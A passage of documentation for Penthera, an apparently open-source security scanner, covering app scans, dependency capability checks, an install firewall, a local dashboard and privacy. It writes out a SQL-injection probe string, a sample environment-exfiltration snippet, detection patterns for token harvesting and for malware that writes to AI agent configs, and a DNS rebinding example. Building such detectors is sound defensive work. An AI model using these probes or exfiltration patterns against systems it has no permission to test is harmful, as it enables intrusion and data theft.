updates keep it current in your repo.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/scan.md · https://penthera.org/docs/commands/scan.md -->

# Scanning your app: `penthera <url>` and `--repo`

> **Starter.** For "is my app safe to ship?"

Black-box scans of a running app (localhost, preview, or staging) and white-box scans of its source. The default scan is non-destructive. Payload-based testing is opt-in.

## Scan modes and profiles

| Mode | Command | Coverage |
|------|---------|----------|
| **URL scan** | `penthera https://example.com` | TLS, fingerprinting, endpoint discovery, templates, CORS, cookies, JS CVEs, param discovery, OpenAPI/FastAPI probes, security headers, auth hardening |
| **Repo scan** | `penthera --repo ./my-app` | API route discovery (Next.js, Express, Hono, Fastify), trust-boundary mapping, hardcoded-secret scanning (including Anthropic, OpenAI, Gemini, Groq, Hugging Face and other AI provider keys) |
| **Combined** | `penthera https://staging.app --repo .` | Black-box and white-box in one run |
| **Interactive** | `penthera` *(no args)* | Setup wizard: detects the project, runs the offline checks, offers the hook and workflow ([init.md](https://penthera.org/docs/commands/init.md)) |
| **Machine audit** | `penthera --machine` | macOS checks (keyloggers, persistence, rootkits) |
| **Dependencies** | `penthera deps` | What each npm or Python package can do (install scripts, shell, network, env, eval, native, obfuscation, `.pth` startup hooks), capability diff on upgrades, typosquats. Offline ([deps.md](https://penthera.org/docs/commands/deps.md)) |

Pick a profile, or add individual flags for more depth:

| Profile | Command | What runs |
|---------|---------|-----------|
| **quick** | `--profile quick` | Headers, OpenAPI, auth checks; no login POSTs (about 10s) |
| **standard** | *(default)* | Full non-destructive scan: no attack payloads, and one `POST /api/login` with invalid credentials |
| **deep** | `--profile deep` | recon, injection probes, API fuzzing, and on `/api/login` an 8-attempt rate-limit burst and an SQL error check |

What each profile sends to `/api/login`: `quick` nothing; `standard` one
login with obviously invalid credentials, to catch a login that accepts
anything; `--deep` also 8 rapid attempts (rate limiting) and an
`' OR '1'='1` string (SQL errors). A CDN firewall can read the last two as an
attack and start challenging you, so they only run with `--deep`.

Individual flags: `--recon`, `--deep`, `--fuzz`, `--adaptive`, `--nuclei <path>`, `--templates <dirs>`, `--all`

### Active modes ask first

`--deep`, `--fuzz`, `--adaptive`, `--all` and `--profile deep` send test
payloads (and, with `--deep`, the login burst above), so they need your
confirmation before the first request:

- In a terminal, Penthera asks. For a target on this machine (`localhost`,
  `127.0.0.1`, `*.localhost`) a yes is enough; for any other target, type its
  hostname back.
- In CI, Docker or a script, pass `--confirm-target <host>` with the target's
  hostname. Without it, or with a different host, the run stops with exit
  code 2 before anything is sent.
- Active scans send at most 10 requests per second. Change that with
  `--rate <n>`; `--rate 0` removes the limit. `--rate` also works on a
  standard scan, which has no limit by default.

```bash
penthera https://staging.myapp.com --profile deep --confirm-target staging.myapp.com
penthera http://localhost:3000 --deep --rate 25
```

## Quick start

```bash
# First time? Run with no args for guided setup
penthera

# Safe default scan (non-destructive)
penthera https://myapp.com

# Staging plus source code, full report set
penthera https://staging.myapp.com --repo . --all -o reports/scan.json --sarif reports/scan.sarif

# Baseline diff: show only new findings since the last scan
penthera https://myapp.com -o reports/scan.json --baseline reports/previous.json

# Authenticated scan (session cookie or bearer token)
PENTHERA_BEARER=eyJ... penthera https://myapp.com --profile standard
penthera https://myapp.com --auth-cookie "session=abc123"
```

Writing to `-o reports/scan.json` also drops a human-readable `reports/scan.md`
next to it. `penthera init` can add `reports/` to your `.gitignore`.

### Exit codes

| Code | Meaning |
|------|---------|
| `0` | No critical or high findings |
| `1` | Critical or high findings detected |
| `2` | Scan failed (unreachable target, bad config) |

---

## Output

| Format | Flag | Use |
|--------|------|-----|
| Terminal | *(default)* | Colored summary plus top 3 fixes |
| **Markdown** | `--markdown file.md` or `-o file.json` | Human-readable report (exec summary, findings tables, fixes). Written next to `-o` automatically |
| JSON | `--json` or `-o file.json` | CI pipelines, baseline diffs, custom tooling |
| SARIF | `--sarif file.sarif` | GitHub Security / Code Scanning tab |
| AI-audit seeds | `--audit-seeds seeds.json` (with `--repo`) | Repo findings in Cloudflare security-audit-skill `findings.json` form, so an agent running the skill starts from them ([verify.md](https://penthera.org/docs/commands/verify.md#the-other-way-seeds-for-the-skill)) |
| Audience report | `--audience developer\|owner\|auditor` | The same scan written for a developer, an owner or an auditor ([docs/evidence.md](https://penthera.org/docs/evidence.md#audience-reports)) |
| Your template | `--report-template file.md` | Your own Markdown with `{{summary.critical}}`, `{{#each findings}}`, `{{#if x}}`; no code runs |
| **Evidence bundle** | `--evidence <dir> [--sign-key <ssh-key>]` | All reports plus `manifest.json` with SHA-256s, optionally SSH-signed. Auditors check it with `penthera evidence verify <dir> --allowed-signers <file>` ([docs/evidence.md](https://penthera.org/docs/evidence.md)) |

### Coverage: what a repo scan read

Every `--repo` scan adds a **Coverage** section to the terminal, Markdown and
JSON (`coverage`) reports. For each check (the secret scan, route and
code-pattern analysis, runtime versions) it says how many files were read and
why the others were not: file type not read, over the size limit, a language
route analysis does not support, or no API routes found. Source files no code
analysis read are listed as blind spots, up to 200. A file that was not read
is unchecked, not clean. Dependency behaviour and agent config have their own
commands (`penthera deps`, `penthera agents`) and are listed as not part of a
repo scan.

## CI integration

```yaml
# Scan a staging URL on a schedule and upload results to GitHub Security.
- run: npx penthera@1.9.0 "$PENTEST_URL" --profile standard --sarif reports/scan.sarif
- uses: github/codeql-action/upload-sarif@6f2ac81f5cd81fe351a197ba0b00d91d03cd2aee # v4.39.0
  with:
    sarif_file: reports/scan.sarif
```

Copy the full workflow from
[`docs/examples/github-actions-scan.yml`](https://github.com/danoszz/penthera/blob/main/docs/examples/github-actions-scan.yml)
into your app's repo. Pin the Penthera version so a scheduled run never picks up
code you have not reviewed.

Penthera's own CI runs the full test suite on Node 22 and 24, self-scans a mock
vulnerable API on every push, and runs CodeQL and OpenSSF Scorecard.

## Configuration

For live integration tests against your own routes:

```bash
cp pentest.config.example.js pentest.config.js   # gitignored
```

Edit the route groups, then run `npm run pentest:live`. Set `PENTEST_BASE_URL` to
point at staging without editing the file.

[Back to the README](https://penthera.org/README.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/deps.md · https://penthera.org/docs/commands/deps.md -->

# Dependency risk: `penthera deps`

> **Starter.** For "is this package safe to add?"

## Dependency risk: what can your packages do?

A lockfile change is code you did not write, about to run with your app's access
to files, network, environment and CI secrets. `penthera deps` reads
`package-lock.json`, statically scans every installed package, and tells you
what each one *can do*, and which packages are new or gained capabilities in an
upgrade.

```bash
penthera deps                          # every package in node_modules
penthera deps --base origin/main       # capability diff vs the lockfile on main
penthera deps --diff ../base-checkout  # diff vs another installed tree (or an old package-lock.json)
penthera deps --pr-comment deps.md     # short Markdown diff for a PR comment
```

```
  ▲ net-helper 1.0.0 → 1.1.0  + network, whole environment
      node_modules/net-helper/index.js:3  const https = require('https');
      node_modules/net-helper/index.js:5  const body = JSON.stringify(process.env);
```

| Capability | Detected from |
|---|---|
| Install scripts | `preinstall` / `install` / `postinstall`, and `binding.gyp` (npm runs `node-gyp` implicitly). Flagged as risky when the hook pipes a download to a shell or runs a file with network or decoding code |
| Shell, network, dynamic code | `child_process`; `http`/`https`/`net`/`dgram`/`tls`/`http2`, `fetch`, `WebSocket`; `eval`, `new Function`, `vm` |
| Environment | `process.env` reads, and bulk access (`JSON.stringify(process.env)`, enumeration). Serializing the environment next to network code is reported as likely exfiltration |
| Files, modules, native | Writes near home-directory or system paths; computed `require()`/`import()`; `.node` addons and `binding.gyp` |
| Obfuscation | Obfuscator identifiers (`_0x…`), `\x`-escape density, encoded blobs that are decoded and run (embedded WebAssembly and ANSI color codes are recognized and ignored) |
| Attack indicators | Writes to `~/.claude`, `~/.cursor`, `.mcp.json` or the Claude Desktop config; running the `claude`, `gemini` or `q` CLIs (the s1ngularity pattern); GitHub token harvesting |
| Typosquats | Edit distance, separator and suffix tricks against ~7,800 popular npm names, vendored in the package and refreshed at release time |
| Known-bad versions | Package versions, exfil endpoints and dropped files from named campaigns (s1ngularity, Shai-Hulud, Shai-Hulud 2.0, postmark-mcp), from the signed [rule packs](https://penthera.org/docs/rule-packs.md) that ship with each release. Matched against the lockfile, so a bad version is reported even when it is not installed |

Every capability carries `file:line` evidence. It is a regex-and-tokenizer pass,
not a full parser: deterministic, never executes package code, and fast enough
for every PR (0.4 s for Penthera's own 61 packages, 5 to 16 s for real app
trees of 500 to 1,700 packages). A capability is what code
*can* do, not proof that it is malicious; the findings carry confidence
labels (`potential` for obfuscation and typosquats).

**Offline by default.** Old versions for the diff come from the base tree's
`node_modules` or from npm's local cache (`~/.npm/_cacache`), looked up by the
lockfile's integrity hash and verified byte for byte. `--online` is the only
network use: it asks the npm registry for publish dates, publisher changes and
deprecations, and fetches old tarballs the cache does not have (verified the
same way). To comment the capability diff on every PR that changes the
lockfile, use the GitHub Action below.

### npm and Python

The same command reads Python projects: `uv.lock`, `poetry.lock`, `pdm.lock`,
`Pipfile.lock` or `requirements*.txt` (pinned and `--hash` lines), and the
installed `.venv` / `venv` (or `--venv <path>`) through
`site-packages/*.dist-info` `RECORD` files, without running pip or Python. A
repo with both a `package-lock.json` and Python inputs gets one combined report.

```bash
penthera deps                          # uv.lock + .venv
penthera deps --venv ~/.venvs/app      # a virtualenv somewhere else (no lockfile needed)
penthera deps --base origin/main       # capability diff vs the Python lockfile on main
```

Capabilities and evidence are the same as for npm (`subprocess`/`os.system`,
`socket`/`requests`/`httpx`/`aiohttp`, `os.environ` bulk access,
`eval`/`exec`/`compile`, computed `__import__`, native `.so`/`.pyd`, AI-agent
indicators), plus what is specific to Python: `setup.py` custom commands
(install-time code), `.pth` files with `import` lines and a shipped
`sitecustomize.py` or `usercustomize.py` (they run on every interpreter start,
so installing the package is enough to run them: medium, high when the code
they load is risky), including ones a wheel places at the site-packages root
from `<name>-<version>.data/purelib/` or `platlib/`, as the malicious litellm
1.107.0 did, unpickling, `exec` of a
base64/zlib-decoded payload, installed files that no longer match their
`RECORD` hash, and `.pth` files no distribution owns. Old versions for the diff
come from pip's HTTP cache (matched by the lockfile's sha256) or uv's cache
(by recorded hash), otherwise they are marked "not compared". Typosquats are
checked against the top 8,000 PyPI projects, PEP 503 normalized. Known-malicious
PyPI versions, dropped files and endpoints come from the `ioc-pypi-2026` rule
pack and match whether or not the package is installed.
`--online` registry checks are npm-only for now.

### License policy

```bash
penthera deps --license-policy permissive        # or weak-copyleft-ok, no-agpl
penthera deps --license-policy legal/policy.json # a file with a "licenses" section
```

Without the flag, `penthera deps` applies the `licenses` section of
`penthera.policy.json` when there is one:

```json
{
  "licenses": {
    "preset": "permissive",
    "allow": ["Python-2.0"],
    "deny": ["WTFPL"],
    "allowPackages": ["@acme/*", "sharp@0.33.5"],
    "unknown": "warn"
  }
}
```

| Preset | Allows |
|---|---|
| `permissive` | MIT, ISC, BSD, Apache-2.0, 0BSD, Unlicense, CC0, Zlib, BlueOak and similar. Everything else breaches |
| `weak-copyleft-ok` | `permissive` plus LGPL, MPL, EPL, CDDL and Artistic-2.0 |
| `no-agpl` | Anything except AGPL and SSPL (network copyleft) |

Licenses come from the lockfile (npm records them in v2 and v3), else from
the installed `package.json`. Expressions are parsed as SPDX:
`MIT OR GPL-3.0-only` passes `permissive` because one branch is enough, while
`MIT AND GPL-3.0-only` does not. Deprecated ids (`GPL-3.0`, `GPL-2.0+`) are
matched to their current form, so a deny of `AGPL-3.0-only` also catches a
package that says `AGPL-3.0`. A breach and `UNLICENSED` (no rights granted)
are high. A missing, custom (`SEE LICENSE IN ...`) or non-SPDX license is
medium, or high with `"unknown": "block"`. `allowPackages` exempts packages your
legal review has cleared. Findings use category `license` and appear in every
output format, and `--sbom` records each component's license.

[Back to the README](https://penthera.org/README.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/commands/install.md · https://penthera.org/docs/commands/install.md -->

# Install firewall: `penthera install`

> **Starter.** For "is this package safe to add?"

### Install firewall: `penthera install`

`penthera deps` tells you what changed after the fact. `penthera install` asks
before anything runs:

```bash
penthera install left-pad             # check, then install (asks if the policy says so)
penthera install -D vitest --dry-run  # report only
penthera install --yes                # CI: install only if nothing breaches the policy
```

```
  ▲ color-helper 1.0.0 → 1.1.0  + install script
      postinstall: node postinstall.js

  Policy    defaults (no penthera.policy.json)
  ! color-helper@1.1.0  needs approval: install script

  Install anyway? [y]es, run the install scripts / [s]kip scripts / [N]o:
```

1. npm resolves the new tree in a temporary copy of `package.json` and the
   lockfile, with scripts off (`npm install --package-lock-only --ignore-scripts`).
2. New tarballs are fetched with `npm cache add`. Nothing is unpacked into
   `node_modules` and no package code runs; each tarball is checked against
   the proposed lockfile's integrity before it is read.
3. The `deps` engine diffs capabilities against your current lockfile, lists
   new install scripts with their commands, and checks new names for typosquats.
4. `penthera.policy.json` decides. On approval, the reviewed lockfile is
   installed as is, with `--ignore-scripts` unless you approved the scripts
   (on npm 12+, approved scripts are pinned in `package.json` `allowScripts`).
   On abort, exit code 1, and the project is byte for byte unchanged.

```json
{
  "allow": ["@acme/*", "esbuild", "sharp@0.33.5"],
  "deny": ["ai-cli-invoke", "token-harvest"],
  "requireApproval": ["install-scripts", "startup-hook", "ai-config-write",
                      "ai-cli-invoke", "token-harvest", "obfuscated", "typosquat",
                      "unscanned"]
}
```

`deny` and `requireApproval` take capability ids from the [capability table](https://penthera.org/docs/commands/deps.md)
(`install-scripts`, `shell`, `network`, `env-bulk`, `obfuscated`, ...) plus
`typosquat` and `unscanned`. The `requireApproval` list shown is the default.
`allow` takes names or globs, optionally pinned to a version, and overrides
both. The one network use is npm talking to your configured registry, and
Penthera prints which one; Penthera itself sends nothing. Workspaces and
`file:` dependencies are not supported yet.

[Back to the README](https://penthera.org/README.md) · [All commands](https://penthera.org/docs/commands/README.md)

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/dashboard.md · https://penthera.org/docs/dashboard.md -->

# The local dashboard: `penthera ui`

> **Starter.** For "can I see it all in one place?"

`penthera ui` opens Penthera in your browser: whether your app is safe to
ship, what to fix first, in plain words, and the fix loop that proposes a
change and waits for your OK. It looks like a small 1-bit computer: a menu
bar over three windows. It runs on `127.0.0.1` only, reads only the folders
you give it and `~/.penthera`, and never contacts the network.

| Simple, dark | Advanced, light |
|---|---|
| ![Simple mode in the dark theme: the verdict, problems in plain words, and one problem open](https://github.com/danoszz/penthera/raw/main/assets/dashboard/ui-dark.jpg) | ![Advanced mode in the light theme: a project with its tabs, the triage matrix and a finding open](https://github.com/danoszz/penthera/raw/main/assets/dashboard/ui-light.jpg) |

## Start it

```bash
penthera ui --open                       # current folder, reports in ./reports
penthera ui --project ~/code/shop --project ~/code/api --reports ~/code/shop/reports
penthera ui --demo                       # fake data, nothing read from disk
```

| Option | Default | What it does |
|--------|---------|--------------|
| `--port <n>` | `0` (random free port) | Port on 127.0.0.1 |
| `--open` | off | Open the one-time URL in your browser, through a launcher file only you can read, so the token is not on a command line |
| `--project <dir>` | the current folder | A folder the dashboard may read and run in. Repeat for more |
| `--reports <dir>` | `<first project>/reports` | Where report JSON is read from, and where runs started here write theirs. The default folder must not be a symlink; name a symlinked folder here to use it on purpose |
| `--demo` | off | Realistic fake data and a scripted fix loop. For a first look, screenshots and docs |

It prints a URL with a one-time token after the `#`, which the browser never
sends over the network. Open it once: the page swaps the token for a session
that lives in that tab (a reload keeps it, a new tab or browser does not), and
the token stops working, so a second browser or a link that leaked into
history is refused. Restart `penthera ui` for a new link. Ctrl-C stops the
server.

## First visit: setup

The first time a browser opens the dashboard, a three-screen setup runs (run
it again from **Penthera ▸ Set up…**):

1. What Penthera does, in two sentences, and the rule: only check apps you own
   or have written permission to test.
2. **Simple** or **Advanced**. Simple answers "is my app safe, and what do I
   do?" in plain words with one button at a time. Advanced shows everything.
   Switch any time in the Penthera menu or Settings; the choice is remembered
   in this browser.
3. Your project: the folder (one of the `--project` folders) and, optionally,
   where the app runs. **Check my app now** starts a first scan; **Skip** closes
   setup. Closing it early keeps Simple.

![Setup, choosing Simple or Advanced](https://github.com/danoszz/penthera/raw/main/assets/dashboard/ui-setup.jpg)

## The view

**Menu bar.** The Penthera menu (the wordmark; the P alone on small screens)
holds About, Set up, Settings, the mode and the theme. Simple mode adds
**Check** (Check my app, Fix problems for me, the running check) and **View**.
Advanced has **File**, **Scan**, **Fix**, **Evidence** and **View** instead.
Every item shows its shortcut. On the right: the run in progress (blue, "Fix 1
of 3 waiting for you", when a change waits), and **Offline** or **Online** for
scans started here (click to switch).

**Projects** (left, `[` to hide). **New scan…** on top, then "All projects"
and every project with its A to F grade, open problems and last check. A
project with a run in progress shows a blinking square.

**The document** (centre). For a project, or all of them:

- **The verdict**: one sentence as the headline that answers "can I ship?",
  such as "Not ready to ship: 1 critical problem to fix first.", with the age
  of the check, the counts to fix and fixed, and the score out of 100 as a
  10 × 10 grid of pixels (for all projects, the lowest score). One button is
  blue: **Fix problems for me…** in Simple, the first finding in Advanced.
  While a problem is open in the inspector, its **Fix it for me…** is the blue
  one instead.
- **Simple**: the problems, in plain words (Critical, Serious, Worth fixing,
  Minor), "Fix first" before "When you have time", then what was fixed since
  the check before, folded into one line. No paths, categories or charts.
- **Advanced**: five tabs (`1` to `5`). **Findings** has what changed since
  the last scan, a triage matrix of severity against how sure Penthera is
  (Confirmed, Likely, Needs a person; pick a cell to filter) and the full list
  (`/` searches, `j` and `k` move). **Dependencies** has the capability diff,
  typosquats and install firewall decisions. **AI tooling** has the grade,
  `penthera.lock` drift and hidden-content hits. **History** has open findings
  per scan, every run, the commits the fix loop made and the memory chain.
  **Proof** has the hosts the last scan contacted and evidence bundles: create,
  verify, and download the auditor, owner or developer report.

A run streams into the centre in **check and fix** mode: the side windows
step aside, and **Back** at the top left (or `Esc`) returns to the project. In
Simple mode it is one sentence ("Fix 2 of 3
is waiting for you to approve it.", "Done. 2 fixes applied and checked, 1
undone.") with the raw output folded under "Show what it is doing". In Advanced
it is the transcript, with a gutter square per step: filled when done, hollow
on the step in progress.

**The inspector** (right, `]` to hide) shows one thing. With a problem picked:
in Simple, what is wrong, how sure Penthera is, what to do and how to check
the fix, then **Fix it for me…**, with the evidence and the code change behind "Show the details"; in
Advanced, the same in plain words plus where, the evidence, sources and the
fix-recipe diff. `Esc` goes back. With nothing picked it shows the **halftone
field**: dark with dots when something serious is open, plain paper when
nothing is. The dotted desktop between the windows follows the same rule.

**Every change waits in a window.** When the fix loop has a change, a
pinstriped window opens over a heavy blur: "Penthera wants to change 1 file to
fix this:", the problem, what it will do, and the change (folded in Simple).
**Apply** (`y`), **Skip** (`n`) or **Stop** (`q`). Closing the window decides
nothing; the change stays waiting, in the transcript and the menu bar. A diff
over 60,000 characters is cut, and the window says so; Apply (and `y`) then
stays off until you tick that you have not seen all of it. Every Apply names
the SHA-256 of the diff it showed, and the server applies nothing else.

![A change waiting for a decision](https://github.com/danoszz/penthera/raw/main/assets/dashboard/ui-run.jpg)

Below 1180px the inspector becomes a drawer; below 760px the projects window
does too. A tap outside closes them.

| Narrow, dark | Narrow, light, a problem open |
|---|---|
| <img src="https://github.com/danoszz/penthera/raw/main/assets/dashboard/narrow-dark.jpg" alt="Simple mode at 390px, dark" width="280"> | <img src="https://github.com/danoszz/penthera/raw/main/assets/dashboard/narrow-light.jpg" alt="A problem in the drawer at 390px, light" width="280"> |

## User stories

| Story | Where it lives |
|---|---|
| *As someone who is not a programmer, I want to know if my app is safe without learning security words.* | Simple mode: the verdict sentence, problems as Critical, Serious, Worth fixing or Minor, and one button at a time. |
| *As a solo founder before launch, I want one sentence that says whether I can ship.* | The verdict at the top of every project. |
| *As a first-time user, I want to be walked through setting up my project.* | The three-screen setup on the first visit. ![First run](https://github.com/danoszz/penthera/raw/main/assets/dashboard/ui-start.jpg) |
| *As a founder with no security engineer, I want fixes applied only when I approve them.* | The approval window: Apply, Skip or Stop on every change; verified fixes land as local commits on a separate branch, failed ones are undone, nothing is pushed. |
| *As a developer, I want to start a scan and be stopped before I hit a host I do not own.* | New scan…: a remote hostname must be typed back before the run starts. |
| *As a product owner, I want one problem explained in plain words.* | Pick it: the inspector leads with what is wrong, how sure and what to do. |
| *As a returning user, I want to see if something is waiting for me wherever I am.* | The menu bar: "Fix 1 of 3 waiting for you". |
| *As a tech lead, I want to triage by how serious and how sure.* | Advanced ▸ Findings: the triage matrix. |
| *As a tech lead after a release, I want to see what changed.* | "Since the last scan" and Advanced ▸ History. |
| *As the person answering the NIS2 questionnaire, I want evidence an auditor can check.* | Advanced ▸ Proof: create and verify a bundle, download the auditor report. |
| *As a developer reviewing a lockfile bump, I want to see what packages gained.* | Advanced ▸ Dependencies. |
| *As someone who installs skills and MCP servers, I want to know if any hide instructions or drifted.* | Advanced ▸ AI tooling. |
| *As a keyboard user, I want every action without the mouse.* | Every menu item shows its shortcut; the menus, tabs and windows follow the WAI-ARIA patterns. |

## Running things from the page

**New scan…** (or `n`) opens a window: what to run, the folder, an optional
URL and the offline switch. In Simple mode it offers two things, "Check my
app" and "Fix problems for me"; Advanced offers scan, dependencies, AI tooling
and the fix loop. It calls the same functions as the CLI (`executeScan`,
`scanDeps`, `scanAgents`, `runLoop`) with the same rules. The fix loop needs a clean git
tree on a branch, works on a local `penthera/fix-<yyyymmdd-hhmm>` branch, runs
only allow-listed local git commands with hooks off, is always offline with
egress limited to the URL's host, and never pushes. On top of that:

- The project folder must be inside one of the `--project` folders.
- A URL that is not on this machine (anything but `localhost`, `127.x.x.x`,
  `[::1]` and `*.localhost`) needs its hostname typed back before the run
  starts. Only scan what you own or have written permission to test.
- One run at a time. Closing the tab does not stop a run; open it from the
  menu bar or the project's History tab and its transcript replays and
  continues. Stop finishes the current step, and the fix branch holds only
  verified commits.
- Reports land in the reports folder (`loop-<timestamp>.json`,
  `deps_<timestamp>.json`, and so on), so every screen picks them up. A write
  is refused when the reports folder (or `evidence/` in it) no longer resolves
  to the folder checked at startup, and evidence bundles are built in a
  private temp folder and renamed into place.

### AI mode

A scan of a project folder has an **AI mode** switch, off. Turning it on
opens a sheet, on every new scan: a picture of where your code goes (your
code, Penthera, Ollama on this computer, and "internet" crossed out), the
model picker, the same Model / Reads / Sends / Decides lines the terminal
shows, and two buttons of equal weight, "Use <model> on this computer" and
"Not now" (Esc). A model that runs on ollama.com turns the last box into
"ollama.com" and needs the host typed before its button works. The server
asks Ollama for the model's route itself, refuses an AI run without that
consent or with an older consent text, and logs each consent locally.
A run shows an "AI · local" (or "AI · ollama.com") tag that opens to say
which model ran where; when it ends, the model's unverified proposals are
folded away under their own heading and are not counted anywhere else.
Settings lists the consent log. See [ai-mode.md](https://penthera.org/docs/ai-mode.md).

## Security model

The dashboard is a web server on your machine, so any page open in the same
browser can send it requests. Every request passes, in this order:

1. **Host check.** The `Host` header must be exactly `127.0.0.1:<port>` or
   `localhost:<port>`. This blocks DNS rebinding, where `attacker.example`
   re-resolves to 127.0.0.1 so the attacker's page can read the response. It
   runs before the token check, so a rebinding page cannot even redeem the
   link.
2. **Path check.** No dot segments, encoded dots or slashes, backslashes or NUL
   bytes. Static files come from an allowlist built at startup; no part of a
   request path is ever joined onto a filesystem path.
3. **Session.** The one-time token sits in the URL fragment, so it never
   reaches a server or a log. The page posts it to `/api/session` once, gets
   a session id back, removes the token from the address bar and keeps the id
   in that tab's `sessionStorage`. Every `/api` request sends it as
   `Authorization: Bearer`; the server keeps only its SHA-256 and compares in
   constant time. There is no cookie: cookies are not bound to a port, so
   every other server on 127.0.0.1 you visit would receive one. The run
   transcript is read with `fetch`, not `EventSource`, so it carries the
   header too. The page and its scripts are served without a session (they
   hold no data). Requests without a session are rate-limited (429 with
   `Retry-After`).
4. **Origin.** Every `POST` needs an `Origin` equal to the server's own (and
   `Sec-Fetch-Site: same-origin` when the browser sends it) and a JSON body, so
   a cross-site form or `fetch` cannot change anything.

Every response carries:

```
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self'; img-src 'self';
  font-src 'self'; connect-src 'self'; object-src 'none'; base-uri 'none'; form-action 'self';
  frame-ancestors 'none'; require-trusted-types-for 'script'
X-Frame-Options: DENY            X-Content-Type-Options: nosniff
Referrer-Policy: no-referrer     Cache-Control: no-store
Cross-Origin-Opener-Policy / -Resource-Policy / -Embedder-Policy
```

There are no CORS headers, and `OPTIONS` gets a 405. The page has no inline
script or style, loads nothing from another host (no CDN, fonts, analytics or
chart library), and never turns data into HTML: finding titles and evidence
come from the sites and repos you scanned, so they are only ever set as text.
Report downloads are served as `text/markdown` attachments from the same
checks; the audience is one of `auditor`, `owner` or `developer`, nothing else.

Limits: a request body over 64 KB gets a 413, a request must arrive within 30
seconds, and an idle connection closes after two minutes (the run transcript
excepted; it sends a keep-alive line instead). At most 16 transcripts stream
at once, and the 20 most recent finished runs are kept for replay.

Penthera scans its own dashboard clean with `--profile standard`, signed in and
not; `tests/ui.test.js` runs that scan on every test run, alongside tests for
the Host check, the token and bearer session, Origin, the headers, the rate limit and
path traversal.

## Design

System 1-bit, blue ink: ink, paper and `#0000ed`, and nothing else. It should
feel like a security instrument from a calmer era of computing, honest about
what it knows.

- **Windows.** Every pane is a window with a 1px frame and a title bar. The
  window that holds focus has the solid title bar, so you can see which one
  `j`, `k` and `Esc` act on. Only floating windows (setup, New scan, About,
  the approval) have the hard 3px shadow, over a heavy blur. The approval alone
  is pinstriped: pinstripes mean "waiting on you".
- **No greys.** Shades are dither patterns: solid, hatched, half, sparse,
  dotted, empty. Severity is a word plus its pattern, never colour alone.
- **One accent.** `#0000ed` marks selection, the default button (with the
  classic outer ring), the focus ring, chart lines and links, and the menu bar
  when a change waits for you. On black it measures 2.2:1, so there it is only
  a fill with white on it (9.5:1), a frame or a ring; text in that hue uses
  `#7a7aff` (6.1:1). On paper `#0000ed` is text-safe (9.3:1). Green is retired:
  OK is a ✓ and a word.
- **Type, three roles.** [Departure Mono](https://departuremono.com) (OFL,
  self-hosted, 11 and 22px) for chrome, labels and numbers; `ui-monospace` for
  paths, evidence, diffs and transcripts; the system sans for sentences meant
  for people.
- **The logo, once per surface.** The horizontal wordmark in the menu bar (the
  P mark below 760px), the P on a blue tile as the favicon, the wordmark large
  in About, setup and the first-run screen. Never the mark and the wordmark side
  by side, never in a window's title bar.
- **The halftone field.** The one strange element, and it carries data: its
  density is the open risk. Blobs are seeded by the project, so each keeps its
  shape. Drawn on a canvas once per size or theme change, never animated.
- **Both themes pass WCAG AA** for every text node in every state (Simple and
  Advanced, every tab, a finding open, settings, menus, setup, New scan,
  About), measured in the browser, composited.
- **Motion.** Almost none. Run output types itself out and the cursor and the
  live squares blink; with `prefers-reduced-motion` all of that stops. With
  `prefers-reduced-transparency` the blur becomes a plain dark backdrop.
- **Keyboard.** `n` new scan, `/` search, `j`/`k` findings, `1` to `5` tabs
  (Advanced), `[`/`]` side windows, `y`/`n`/`q` answer a change, `Esc` closes a
  menu, the detail, the search or a drawer. Every control is a real button or
  link; dialogs trap focus and give it back; screen readers get each log line
  whole.

The screenshots in `assets/dashboard/` come from the demo data:
`node scripts/dashboard-screenshots.mjs` regenerates them with a local Chrome.

---

<!-- Source: https://github.com/danoszz/penthera/blob/main/docs/privacy.md · https://penthera.org/docs/privacy.md -->

# Privacy and network use

> **Pro.** For "what does it send over the network?"

Penthera has no telemetry. It does not collect, store or send usage data, analytics or personal information to us or to any third party.

This applies to the CLI, the dashboard and the npm package. The website, [penthera.org](https://penthera.org), is separate: it counts anonymous page views and load times with Vercel Web Analytics and Speed Insights, which set no cookies. The browser check on the site never sends the files you paste; its Content-Security-Policy allows only those two counters.

- **Scan traffic goes to the target you name.** Auth tokens passed with `--auth-bearer`, `--auth-cookie`, or `PENTHERA_*` env vars are sent only to that target.
- **Every request identifies itself** as `penthera/<version> (+https://github.com/danoszz/penthera)`, so a target's operator can tell where the traffic comes from. Override it with `--user-agent`.
- **Reports stay local.** Penthera writes them to `reports/` (gitignored) on your machine.
- **Every scan lists the third-party hosts it contacted** besides the target, in the terminal summary and in the report's "Network egress" section.

Without `--offline`, a scan may contact these third parties:

| Host | When | What it learns |
|---|---|---|
| `raw.githubusercontent.com`, `cdn.jsdelivr.net` | Retire.js check (standard and deep profiles) | That someone downloaded the public database. Nothing about your target. |
| `crt.sh`, `web.archive.org`, `otx.alienvault.com` | `--recon` only | The target domain. |
| CDN hosts serving your page's `<script src>` | Retire.js check, when a script's version can only be read from its contents | That someone fetched that public script. |

Other commands stay local unless you opt in. `penthera deps` makes no network requests by default. With `--online` it sends GET requests for public package metadata to the npm registry (`registry.npmjs.org`, or your `npm_config_registry`), and nothing about your project. `--fix-model` talks only to a local Ollama on `127.0.0.1:11434`.

`penthera mcp` talks to your agent over stdin and stdout and opens no port. Of its tools, only `scan_url` uses the network, with the same rules as a URL scan: the target, plus the hosts above unless the server runs with `--offline`. See [docs/commands/mcp.md](https://penthera.org/docs/commands/mcp.md).

### AI mode: `--ai`

AI mode is off unless you turn it on, and asks every run. Penthera itself talks
only to Ollama on `127.0.0.1:11434`. What reaches the model is parts of your
code with recognised secrets masked. See [ai-mode.md](https://penthera.org/docs/ai-mode.md).

| Route | What Penthera sends | What you should know |
|---|---|---|
| Rules only (no `--ai`) | Nothing new | No question is asked |
| `--ai` with a local model | Code parts, secrets masked, to Ollama on `127.0.0.1`. Nothing else | The model runs on this computer, and the report lists every host Penthera contacted |
| `--ai` with an Ollama cloud model | Code parts, secrets masked, to Ollama on `127.0.0.1`, which forwards them to ollama.com | Your code leaves this computer, under Ollama's terms. Only after a second screen where you type the host, or `--ai-consent ollama-cloud` |
| `penthera verify` | Nothing. It reads a file and your checkout | Your agent and its model provider handled your code, under their terms |

Penthera checks the address and the model. It cannot see whether something on
this computer forwards port 11434 elsewhere. Each consent is logged to
